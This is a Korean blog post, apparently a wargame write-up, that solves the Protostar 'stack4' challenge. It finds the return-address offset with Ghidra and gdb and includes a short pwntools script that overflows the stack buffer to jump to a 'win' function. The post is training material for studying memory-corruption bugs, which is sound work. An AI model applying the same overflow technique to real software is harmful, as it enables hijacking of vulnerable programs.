Security || AI

[Protostar] stack4 본문

워게임(wargame)/Protostar

[Protostar] stack4

보안&인공지능 2021. 2. 3. 15:30

문제 탐색

stack4.c (ghidra 디컴파일 코드)

ghidra로 디컴파일을 해본 결과 stack3문제와 같이 win함수가 존재했다.

그러므로, 해당 문제에서는 return을 win함수로 덮어쓰면 문제가 풀릴 것이다.

 

문제 풀이

gdb로 main함수의 RET에 브레이크 포인트를 걸고, RET까지의 메모리 거리를 구할 것이다.

main 구조

먼저, ghidra를 통해 RET까지의 거리가 76인 것을 구하였다.

 

win 구조

또한, win함수의 시작 주소는 0x080483f4를 구하였다.

 

그러므로 A76개와 win함수를 합쳐 페이로드를 작성하였다.

from pwn import *

p = process('./stack4')

win_addr = p32(0x080483f4)

payload = 'A'*76+win_addr

p.sendline(payload)

print(p.recvrepeat(1))

 

실행 결과

실행 결과

반응형

'워게임(wargame) > Protostar' 카테고리의 다른 글

[Protostar] stack5  (0) 2021.06.13
[Protostar] stack3  (0) 2021.02.02
[Protostar] stack2  (0) 2021.02.01
[Protostar] stack1  (0) 2021.01.04
[Protostar] stack0  (0) 2019.08.13